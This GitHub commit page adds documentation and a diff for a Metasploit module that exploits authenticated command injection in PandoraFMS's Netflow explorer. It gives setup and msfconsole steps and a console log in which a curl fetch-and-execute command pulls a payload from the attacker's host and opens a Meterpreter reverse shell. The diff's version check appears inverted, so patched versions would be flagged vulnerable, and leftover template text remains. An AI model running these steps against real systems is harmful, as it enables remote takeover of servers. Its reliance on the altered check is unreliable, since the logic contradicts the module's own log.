Skip to content

Commit 37e8780

Browse files
committed
Code refactor, docs
1 parent 0a39f66 commit 37e8780

File tree

2 files changed

+80
-4
lines changed

2 files changed

+80
-4
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
## Vulnerable Application
2+
3+
PandoraFMS offers multiple modules that can be turned on or off with an administrative account.
4+
One of them is Netflow, which is responsible for real-time network monitoring.
5+
It can collect network data and then report or dump it.
6+
Once Netflow is configured, it allows you to perform various tasks, such as viewing and exporting network data.
7+
8+
The Netflow explorer contains a vulnerability when an unsanitized parameter from the Netflow configuration is placed into a string that gets executed using the exec() function.
9+
10+
The PandoraFMS can be installed from [here](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/777/Tarball/):
11+
12+
1. Download vulnerable PandoraFMS
13+
2. Install webserver - Apache2, MySQL, PHP
14+
3. Following installation steps of PandoraFMS
15+
4. Run: `sudo apt install nfdump`
16+
17+
18+
## Verification Steps
19+
20+
1. Install the application
21+
1. Start msfconsole
22+
1. Do: `use linux/http/pandora_fms_auth_netflow_rce`
23+
1. Do: `set rhosts [target IP]`
24+
1. Do: `set lhost [attacker IP]`
25+
1. Do: `set username [username]`
26+
1. Do: `set password [password]`
27+
1. Do: `run`
28+
1. You should get a shell.
29+
30+
## Options
31+
32+
33+
### USERNAME
34+
35+
Login username of existing user.
36+
37+
### PASSWORD
38+
39+
Login password of existing user.
40+
41+
## Scenarios
42+
43+
```
44+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set rhosts 192.168.168.146
45+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set PASSWORD pandora
46+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set USERNAME admin
47+
msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > run verbose=true
48+
[*] Command to run on remote host: curl -so ./khZKmkFYijJ http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./khZKmkFYijJ;./khZKmkFYijJ&
49+
[*] Fetch handler listening on 192.168.168.128:8080
50+
[*] HTTP server started
51+
[*] Adding resource /M1We21fZKyvgtWK9IWStLA
52+
[*] Started reverse TCP handler on 192.168.168.128:4444
53+
[*] 192.168.168.146:80 - Running automatic check ("set AutoCheck false" to disable)
54+
[*] 192.168.168.146:80 - Version 7.0.777 detected
55+
[+] 192.168.168.146:80 - The target is vulnerable. Vulnerable PandoraFMS version 7.0.777 detected
56+
[*] Client 192.168.168.146 requested /M1We21fZKyvgtWK9IWStLA
57+
[*] Sending payload to 192.168.168.146 (curl/7.68.0)
58+
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:54980) at 2025-06-25 12:27:52 +0200
59+
60+
meterpreter > sysinfo
61+
Computer : 192.168.168.146
62+
OS : Ubuntu 20.04 (Linux 5.15.0-136-generic)
63+
Architecture : x64
64+
BuildTuple : x86_64-linux-musl
65+
Meterpreter : x64/linux```
66+
67+
For example:
68+
69+
To do this specific thing, here's how you do it:
70+
71+
```
72+
msf > use module_name
73+
msf auxiliary(module_name) > set POWERLEVEL >9000
74+
msf auxiliary(module_name) > exploit
75+
```

modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,15 +35,16 @@ def initialize(info = {})
3535
'Linux/Unix Command',
3636
{
3737
'Platform' => ['unix', 'linux'],
38-
'Arch' => [ ARCH_CMD],
39-
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
38+
'Arch' => [ ARCH_CMD]
4039
}
4140
]
4241
],
4342
'DisclosureDate' => '2025-12-30',
4443
'DefaultTarget' => 0,
4544
'DefaultOptions' => {
46-
'RPORT' => 80
45+
'RPORT' => 80,
46+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
47+
'FETCH_WRITABLE_DIR' => '/tmp'
4748
},
4849
'Notes' => {
4950
'Stability' => [CRASH_SAFE],
@@ -87,7 +88,7 @@ def check
8788

8889
vprint_status("Version #{version} detected")
8990

90-
return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") unless Rex::Version.new(version) >= Rex::Version.new('7.0.777.10')
91+
return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('7.0.777.10')
9192

9293
Msf::Exploit::CheckCode::Safe('Running version is not vulnerable')
9394
end

0 commit comments

Comments
 (0)